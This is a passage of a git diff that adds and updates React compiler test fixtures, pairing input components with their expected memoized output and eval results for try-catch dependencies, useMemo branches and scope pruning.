+import { c as _c } from "react/compiler-runtime"; // @enablePropagateDepsInHIR
+import { identity } from "shared-runtime";
+
+/**
+ * Not safe to hoist read of maybeNullObject.value.inner outside of the
+ * try-catch block, as that might throw
+ */
+function useFoo(maybeNullObject) {
+  const $ = _c(4);
+  let y;
+  if ($[0] !== maybeNullObject) {
+    y = [];
+    try {
+      let t0;
+      if ($[2] !== maybeNullObject.value.inner) {
+        t0 = identity(maybeNullObject.value.inner);
+        $[2] = maybeNullObject.value.inner;
+        $[3] = t0;
+      } else {
+        t0 = $[3];
+      }
+      y.push(t0);
+    } catch {
+      y.push("null");
+    }
+    $[0] = maybeNullObject;
+    $[1] = y;
+  } else {
+    y = $[1];
+  }
+
+  return y;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [null],
+  sequentialRenders: [null, { value: 2 }, { value: 3 }, null],
+};
+
+```
+      
+### Eval output
+(kind: ok) ["null"]
+[null]
+[null]
+["null"]
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/try-catch-maybe-null-dependency.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/try-catch-maybe-null-dependency.ts
new file mode 100644
index 000000000000..bdbd90311721
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/try-catch-maybe-null-dependency.ts
@@ -0,0 +1,23 @@
+// @enablePropagateDepsInHIR
+import {identity} from 'shared-runtime';
+
+/**
+ * Not safe to hoist read of maybeNullObject.value.inner outside of the
+ * try-catch block, as that might throw
+ */
+function useFoo(maybeNullObject: {value: {inner: number}} | null) {
+  const y = [];
+  try {
+    y.push(identity(maybeNullObject.value.inner));
+  } catch {
+    y.push('null');
+  }
+
+  return y;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [null],
+  sequentialRenders: [null, {value: 2}, {value: 3}, null],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/try-catch-mutate-outer-value.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/try-catch-mutate-outer-value.expect.md
new file mode 100644
index 000000000000..b64ade2ec604
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/try-catch-mutate-outer-value.expect.md
@@ -0,0 +1,73 @@
+
+## Input
+
+```javascript
+// @enablePropagateDepsInHIR
+const {shallowCopy, throwErrorWithMessage} = require('shared-runtime');
+
+function Component(props) {
+  const x = [];
+  try {
+    x.push(throwErrorWithMessage('oops'));
+  } catch {
+    x.push(shallowCopy({a: props.a}));
+  }
+  return x;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{a: 1}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enablePropagateDepsInHIR
+const { shallowCopy, throwErrorWithMessage } = require("shared-runtime");
+
+function Component(props) {
+  const $ = _c(5);
+  let x;
+  if ($[0] !== props) {
+    x = [];
+    try {
+      let t0;
+      if ($[2] === Symbol.for("react.memo_cache_sentinel")) {
+        t0 = throwErrorWithMessage("oops");
+        $[2] = t0;
+      } else {
+        t0 = $[2];
+      }
+      x.push(t0);
+    } catch {
+      let t0;
+      if ($[3] !== props.a) {
+        t0 = shallowCopy({ a: props.a });
+        $[3] = props.a;
+        $[4] = t0;
+      } else {
+        t0 = $[4];
+      }
+      x.push(t0);
+    }
+    $[0] = props;
+    $[1] = x;
+  } else {
+    x = $[1];
+  }
+
+  return x;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ a: 1 }],
+};
+
+```
+      
+### Eval output
+(kind: ok) [{"a":1}]
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/try-catch-mutate-outer-value.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/try-catch-mutate-outer-value.js
new file mode 100644
index 000000000000..97e4250b2277
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/try-catch-mutate-outer-value.js
@@ -0,0 +1,17 @@
+// @enablePropagateDepsInHIR
+const {shallowCopy, throwErrorWithMessage} = require('shared-runtime');
+
+function Component(props) {
+  const x = [];
+  try {
+    x.push(throwErrorWithMessage('oops'));
+  } catch {
+    x.push(shallowCopy({a: props.a}));
+  }
+  return x;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{a: 1}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/try-catch-try-value-modified-in-catch-escaping.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/try-catch-try-value-modified-in-catch-escaping.expect.md
new file mode 100644
index 000000000000..5ef2523d623b
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/try-catch-try-value-modified-in-catch-escaping.expect.md
@@ -0,0 +1,65 @@
+
+## Input
+
+```javascript
+// @enablePropagateDepsInHIR
+const {throwInput} = require('shared-runtime');
+
+function Component(props) {
+  let x;
+  try {
+    const y = [];
+    y.push(props.y);
+    throwInput(y);
+  } catch (e) {
+    e.push(props.e);
+    x = e;
+  }
+  return x;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{y: 'foo', e: 'bar'}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enablePropagateDepsInHIR
+const { throwInput } = require("shared-runtime");
+
+function Component(props) {
+  const $ = _c(3);
+  let x;
+  if ($[0] !== props.e || $[1] !== props.y) {
+    try {
+      const y = [];
+      y.push(props.y);
+      throwInput(y);
+    } catch (t0) {
+      const e = t0;
+      e.push(props.e);
+      x = e;
+    }
+    $[0] = props.e;
+    $[1] = props.y;
+    $[2] = x;
+  } else {
+    x = $[2];
+  }
+
+  return x;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ y: "foo", e: "bar" }],
+};
+
+```
+      
+### Eval output
+(kind: ok) ["foo","bar"]
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/try-catch-try-value-modified-in-catch-escaping.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/try-catch-try-value-modified-in-catch-escaping.js
new file mode 100644
index 000000000000..5a0864118ba8
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/try-catch-try-value-modified-in-catch-escaping.js
@@ -0,0 +1,20 @@
+// @enablePropagateDepsInHIR
+const {throwInput} = require('shared-runtime');
+
+function Component(props) {
+  let x;
+  try {
+    const y = [];
+    y.push(props.y);
+    throwInput(y);
+  } catch (e) {
+    e.push(props.e);
+    x = e;
+  }
+  return x;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{y: 'foo', e: 'bar'}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/try-catch-try-value-modified-in-catch.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/try-catch-try-value-modified-in-catch.expect.md
new file mode 100644
index 000000000000..3c31fca339a2
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/try-catch-try-value-modified-in-catch.expect.md
@@ -0,0 +1,71 @@
+
+## Input
+
+```javascript
+// @enablePropagateDepsInHIR
+const {throwInput} = require('shared-runtime');
+
+function Component(props) {
+  try {
+    const y = [];
+    y.push(props.y);
+    throwInput(y);
+  } catch (e) {
+    e.push(props.e);
+    return e;
+  }
+  return null;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{y: 'foo', e: 'bar'}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enablePropagateDepsInHIR
+const { throwInput } = require("shared-runtime");
+
+function Component(props) {
+  const $ = _c(3);
+  let t0;
+  if ($[0] !== props.e || $[1] !== props.y) {
+    t0 = Symbol.for("react.early_return_sentinel");
+    bb0: {
+      try {
+        const y = [];
+        y.push(props.y);
+        throwInput(y);
+      } catch (t1) {
+        const e = t1;
+        e.push(props.e);
+        t0 = e;
+        break bb0;
+      }
+    }
+    $[0] = props.e;
+    $[1] = props.y;
+    $[2] = t0;
+  } else {
+    t0 = $[2];
+  }
+  if (t0 !== Symbol.for("react.early_return_sentinel")) {
+    return t0;
+  }
+
+  return null;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ y: "foo", e: "bar" }],
+};
+
+```
+      
+### Eval output
+(kind: ok) ["foo","bar"]
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/try-catch-try-value-modified-in-catch.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/try-catch-try-value-modified-in-catch.js
new file mode 100644
index 000000000000..97d650453c17
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/try-catch-try-value-modified-in-catch.js
@@ -0,0 +1,19 @@
+// @enablePropagateDepsInHIR
+const {throwInput} = require('shared-runtime');
+
+function Component(props) {
+  try {
+    const y = [];
+    y.push(props.y);
+    throwInput(y);
+  } catch (e) {
+    e.push(props.e);
+    return e;
+  }
+  return null;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{y: 'foo', e: 'bar'}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/useMemo-multiple-if-else.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/useMemo-multiple-if-else.expect.md
new file mode 100644
index 000000000000..bd9b73e449be
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/useMemo-multiple-if-else.expect.md
@@ -0,0 +1,80 @@
+
+## Input
+
+```javascript
+// @enablePropagateDepsInHIR @validateExhaustiveMemoizationDependencies:false
+import {useMemo} from 'react';
+
+function Component(props) {
+  const x = useMemo(() => {
+    let y = [];
+    if (props.cond) {
+      y.push(props.a);
+    }
+    if (props.cond2) {
+      return y;
+    }
+    y.push(props.b);
+    return y;
+  });
+  return x;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{a: 1, b: 2, cond2: false}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enablePropagateDepsInHIR @validateExhaustiveMemoizationDependencies:false
+import { useMemo } from "react";
+
+function Component(props) {
+  const $ = _c(5);
+  let t0;
+  if (
+    $[0] !== props.a ||
+    $[1] !== props.b ||
+    $[2] !== props.cond ||
+    $[3] !== props.cond2
+  ) {
+    bb0: {
+      const y = [];
+      if (props.cond) {
+        y.push(props.a);
+      }
+
+      if (props.cond2) {
+        t0 = y;
+        break bb0;
+      }
+
+      y.push(props.b);
+      t0 = y;
+    }
+    $[0] = props.a;
+    $[1] = props.b;
+    $[2] = props.cond;
+    $[3] = props.cond2;
+    $[4] = t0;
+  } else {
+    t0 = $[4];
+  }
+  const x = t0;
+
+  return x;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ a: 1, b: 2, cond2: false }],
+};
+
+```
+      
+### Eval output
+(kind: ok) [2]
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/useMemo-multiple-if-else.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/useMemo-multiple-if-else.js
new file mode 100644
index 000000000000..81794651893a
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/useMemo-multiple-if-else.js
@@ -0,0 +1,22 @@
+// @enablePropagateDepsInHIR @validateExhaustiveMemoizationDependencies:false
+import {useMemo} from 'react';
+
+function Component(props) {
+  const x = useMemo(() => {
+    let y = [];
+    if (props.cond) {
+      y.push(props.a);
+    }
+    if (props.cond2) {
+      return y;
+    }
+    y.push(props.b);
+    return y;
+  });
+  return x;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{a: 1, b: 2, cond2: false}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/property-call-evaluation-order.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/property-call-evaluation-order.expect.md
index d097ee0fad00..4061ae5c82a9 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/property-call-evaluation-order.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/property-call-evaluation-order.expect.md
@@ -5,14 +5,14 @@
 // Should print A, arg, original
 
 function Component() {
-  const changeF = (o) => {
-    o.f = () => console.log("new");
+  const changeF = o => {
+    o.f = () => console.log('new');
   };
   const x = {
-    f: () => console.log("original"),
+    f: () => console.log('original'),
   };
 
-  (console.log("A"), x).f((changeF(x), console.log("arg"), 1));
+  (console.log('A'), x).f((changeF(x), console.log('arg'), 1));
   return x;
 }
 
@@ -30,28 +30,28 @@ export const FIXTURE_ENTRYPOINT = {
 import { c as _c } from "react/compiler-runtime"; // Should print A, arg, original
 
 function Component() {
-  const $ = _c(2);
-  let t0;
-  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
-    t0 = (o) => {
-      o.f = () => console.log("new");
-    };
-    $[0] = t0;
-  } else {
-    t0 = $[0];
-  }
-  const changeF = t0;
+  const $ = _c(1);
+  const changeF = _temp2;
   let x;
-  if ($[1] === Symbol.for("react.memo_cache_sentinel")) {
-    x = { f: () => console.log("original") };
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    x = { f: _temp3 };
 
     (console.log("A"), x).f((changeF(x), console.log("arg"), 1));
-    $[1] = x;
+    $[0] = x;
   } else {
-    x = $[1];
+    x = $[0];
   }
   return x;
 }
+function _temp3() {
+  return console.log("original");
+}
+function _temp2(o) {
+  o.f = _temp;
+}
+function _temp() {
+  return console.log("new");
+}
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/property-call-evaluation-order.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/property-call-evaluation-order.js
index 959745b2d6d3..fe8f0fd59c7a 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/property-call-evaluation-order.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/property-call-evaluation-order.js
@@ -1,14 +1,14 @@
 // Should print A, arg, original
 
 function Component() {
-  const changeF = (o) => {
-    o.f = () => console.log("new");
+  const changeF = o => {
+    o.f = () => console.log('new');
   };
   const x = {
-    f: () => console.log("original"),
+    f: () => console.log('original'),
   };
 
-  (console.log("A"), x).f((changeF(x), console.log("arg"), 1));
+  (console.log('A'), x).f((changeF(x), console.log('arg'), 1));
   return x;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/props-method-dependency.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/props-method-dependency.expect.md
new file mode 100644
index 000000000000..b84e6e44eab3
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/props-method-dependency.expect.md
@@ -0,0 +1,76 @@
+
+## Input
+
+```javascript
+// @compilationMode:"infer"
+import {useMemo} from 'react';
+import {ValidateMemoization} from 'shared-runtime';
+
+function Component(props) {
+  const x = useMemo(() => props.x(), [props.x]);
+  return <ValidateMemoization inputs={[props.x]} output={x} />;
+}
+
+const f = () => ['React'];
+const g = () => ['Compiler'];
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{x: () => ['React']}],
+  sequentialRenders: [{x: f}, {x: g}, {x: g}, {x: f}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @compilationMode:"infer"
+import { useMemo } from "react";
+import { ValidateMemoization } from "shared-runtime";
+
+function Component(props) {
+  const $ = _c(7);
+  let t0;
+  if ($[0] !== props.x) {
+    t0 = props.x();
+    $[0] = props.x;
+    $[1] = t0;
+  } else {
+    t0 = $[1];
+  }
+  const x = t0;
+  let t1;
+  if ($[2] !== props.x) {
+    t1 = [props.x];
+    $[2] = props.x;
+    $[3] = t1;
+  } else {
+    t1 = $[3];
+  }
+  let t2;
+  if ($[4] !== t1 || $[5] !== x) {
+    t2 = <ValidateMemoization inputs={t1} output={x} />;
+    $[4] = t1;
+    $[5] = x;
+    $[6] = t2;
+  } else {
+    t2 = $[6];
+  }
+  return t2;
+}
+
+const f = () => ["React"];
+const g = () => ["Compiler"];
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ x: () => ["React"] }],
+  sequentialRenders: [{ x: f }, { x: g }, { x: g }, { x: f }],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"inputs":["[[ function params=0 ]]"],"output":["React"]}</div>
+<div>{"inputs":["[[ function params=0 ]]"],"output":["Compiler"]}</div>
+<div>{"inputs":["[[ function params=0 ]]"],"output":["Compiler"]}</div>
+<div>{"inputs":["[[ function params=0 ]]"],"output":["React"]}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/props-method-dependency.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/props-method-dependency.js
new file mode 100644
index 000000000000..5882e3cc6e40
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/props-method-dependency.js
@@ -0,0 +1,16 @@
+// @compilationMode:"infer"
+import {useMemo} from 'react';
+import {ValidateMemoization} from 'shared-runtime';
+
+function Component(props) {
+  const x = useMemo(() => props.x(), [props.x]);
+  return <ValidateMemoization inputs={[props.x]} output={x} />;
+}
+
+const f = () => ['React'];
+const g = () => ['Compiler'];
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{x: () => ['React']}],
+  sequentialRenders: [{x: f}, {x: g}, {x: g}, {x: f}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/prune-scopes-whose-deps-invalidate-array.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/prune-scopes-whose-deps-invalidate-array.expect.md
index 00c59b24508e..17c6318c38f6 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/prune-scopes-whose-deps-invalidate-array.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/prune-scopes-whose-deps-invalidate-array.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-import { useHook } from "shared-runtime";
+import {useHook} from 'shared-runtime';
 
 function Component(props) {
   const x = [];
@@ -16,7 +16,7 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ value: "sathya" }],
+  params: [{value: 'sathya'}],
 };
 
 ```
@@ -32,6 +32,7 @@ function Component(props) {
   x.push(props.value);
 
   const y = [x];
+
   return [y];
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/prune-scopes-whose-deps-invalidate-array.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/prune-scopes-whose-deps-invalidate-array.js
index f8b17c1b2bda..97ade196d334 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/prune-scopes-whose-deps-invalidate-array.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/prune-scopes-whose-deps-invalidate-array.js
@@ -1,4 +1,4 @@
-import { useHook } from "shared-runtime";
+import {useHook} from 'shared-runtime';
 
 function Component(props) {
   const x = [];
@@ -12,5 +12,5 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ value: "sathya" }],
+  params: [{value: 'sathya'}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/prune-scopes-whose-deps-invalidate-jsx.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/prune-scopes-whose-deps-invalidate-jsx.expect.md
index 4cf4e6f99468..34c1400ec150 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/prune-scopes-whose-deps-invalidate-jsx.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/prune-scopes-whose-deps-invalidate-jsx.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-import { useHook } from "shared-runtime";
+import {useHook} from 'shared-runtime';
 
 function Component(props) {
   const o = {};
@@ -17,7 +17,7 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ value: "sathya" }],
+  params: [{value: 'sathya'}],
 };
 
 ```
@@ -29,7 +29,7 @@ import { c as _c } from "react/compiler-runtime";
 import { useHook } from "shared-runtime";
 
 function Component(props) {
-  const $ = _c(6);
+  const $ = _c(4);
   const o = {};
   let t0;
   if ($[0] !== props.value) {
@@ -44,22 +44,14 @@ function Component(props) {
   o.value = props.value;
   let t1;
   if ($[2] !== x) {
-    t1 = <div>{x}</div>;
+    const y = <div>{x}</div>;
+    t1 = <div>{y}</div>;
     $[2] = x;
     $[3] = t1;
   } else {
     t1 = $[3];
   }
-  const y = t1;
-  let t2;
-  if ($[4] !== y) {
-    t2 = <div>{y}</div>;
-    $[4] = y;
-    $[5] = t2;
-  } else {
-    t2 = $[5];
-  }
-  return t2;
+  return t1;
 }
 
 export const FIXTURE_ENTRYPOINT = {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/prune-scopes-whose-deps-invalidate-jsx.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/prune-scopes-whose-deps-invalidate-jsx.js
index bdcd93190523..aa767d5db146 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/prune-scopes-whose-deps-invalidate-jsx.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/prune-scopes-whose-deps-invalidate-jsx.js
@@ -1,4 +1,4 @@
-import { useHook } from "shared-runtime";
+import {useHook} from 'shared-runtime';
 
 function Component(props) {
   const o = {};
@@ -13,5 +13,5 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ value: "sathya" }],
+  params: [{value: 'sathya'}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/prune-scopes-whose-deps-invalidate-new.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/prune-scopes-whose-deps-invalidate-new.expect.md
index 6dc42be6b959..d39cabcacebb 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/prune-scopes-whose-deps-invalidate-new.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/prune-scopes-whose-deps-invalidate-new.expect.md
@@ -2,23 +2,23 @@
 ## Input
 
 ```javascript
-import { useHook } from "shared-runtime";
+import {useHook} from 'shared-runtime';
 
 function Component(props) {
   const x = new Foo();
   useHook(); // intersperse a hook call to prevent memoization of x
   x.value = props.value;
 
-  const y = { x };
+  const y = {x};
 
-  return { y };
+  return {y};
 }
 
 class Foo {}
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ value: "sathya" }],
+  params: [{value: 'sathya'}],
 };
 
 ```
@@ -34,6 +34,7 @@ function Component(props) {
   x.value = props.value;
 
   const y = { x };
+
   return { y };
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/prune-scopes-whose-deps-invalidate-new.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/prune-scopes-whose-deps-invalidate-new.js
index 688cac14d805..49e8ba3f4a91 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/prune-scopes-whose-deps-invalidate-new.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/prune-scopes-whose-deps-invalidate-new.js
@@ -1,18 +1,18 @@
-import { useHook } from "shared-runtime";
+import {useHook} from 'shared-runtime';
 
 function Component(props) {
   const x = new Foo();
   useHook(); // intersperse a hook call to prevent memoization of x
   x.value = props.value;
 
-  const y = { x };
+  const y = {x};
 
-  return { y };
+  return {y};
 }
 
 class Foo {}
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ value: "sathya" }],
+  params: [{value: 'sathya'}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/prune-scopes-whose-deps-invalidate-object.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/prune-scopes-whose-deps-invalidate-object.expect.md
index a5b86367c5af..66d22f8894e1 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/prune-scopes-whose-deps-invalidate-object.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/prune-scopes-whose-deps-invalidate-object.expect.md
@@ -2,21 +2,21 @@
 ## Input
 
 ```javascript
-import { useHook } from "shared-runtime";
+import {useHook} from 'shared-runtime';
 
 function Component(props) {
   const x = {};
   useHook(); // intersperse a hook call to prevent memoization of x
   x.value = props.value;
 
-  const y = { x };
+  const y = {x};
 
-  return { y };
+  return {y};
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ value: "sathya" }],
+  params: [{value: 'sathya'}],
 };
 
 ```
@@ -32,6 +32,7 @@ function Component(props) {
   x.value = props.value;
 
   const y = { x };
+
   return { y };
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/prune-scopes-whose-deps-invalidate-object.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/prune-scopes-whose-deps-invalidate-object.js
index 1052a39edc40..c0072548b76d 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/prune-scopes-whose-deps-invalidate-object.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/prune-scopes-whose-deps-invalidate-object.js
@@ -1,16 +1,16 @@
-import { useHook } from "shared-runtime";
+import {useHook} from 'shared-runtime';
 
 function Component(props) {
   const x = {};
   useHook(); // intersperse a hook call to prevent memoization of x
   x.value = props.value;
 
-  const y = { x };
+  const y = {x};
 
-  return { y };
+  return {y};
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ value: "sathya" }],
+  params: [{value: 'sathya'}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/prune-scopes-whose-deps-may-invalidate-array.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/prune-scopes-whose-deps-may-invalidate-array.expect.md
index 077af821599f..7db6242783c5 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/prune-scopes-whose-deps-may-invalidate-array.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/prune-scopes-whose-deps-may-invalidate-array.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-import { useHook, identity } from "shared-runtime";
+import {useHook, identity} from 'shared-runtime';
 
 function Component(props) {
   let x = 42;
@@ -19,7 +19,7 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ value: "sathya" }],
+  params: [{value: 'sathya'}],
 };
 
 ```
@@ -31,7 +31,7 @@ import { c as _c } from "react/compiler-runtime";
 import { useHook, identity } from "shared-runtime";
 
 function Component(props) {
-  const $ = _c(4);
+  const $ = _c(2);
   let x = 42;
   if (props.cond) {
     x = [];
@@ -41,22 +41,14 @@ function Component(props) {
   identity(x);
   let t0;
   if ($[0] !== x) {
-    t0 = [x];
+    const y = [x];
+    t0 = [y];
     $[0] = x;
     $[1] = t0;
   } else {
     t0 = $[1];
   }
-  const y = t0;
-  let t1;
-  if ($[2] !== y) {
-    t1 = [y];
-    $[2] = y;
-    $[3] = t1;
-  } else {
-    t1 = $[3];
-  }
-  return t1;
+  return t0;
 }
 
 export const FIXTURE_ENTRYPOINT = {
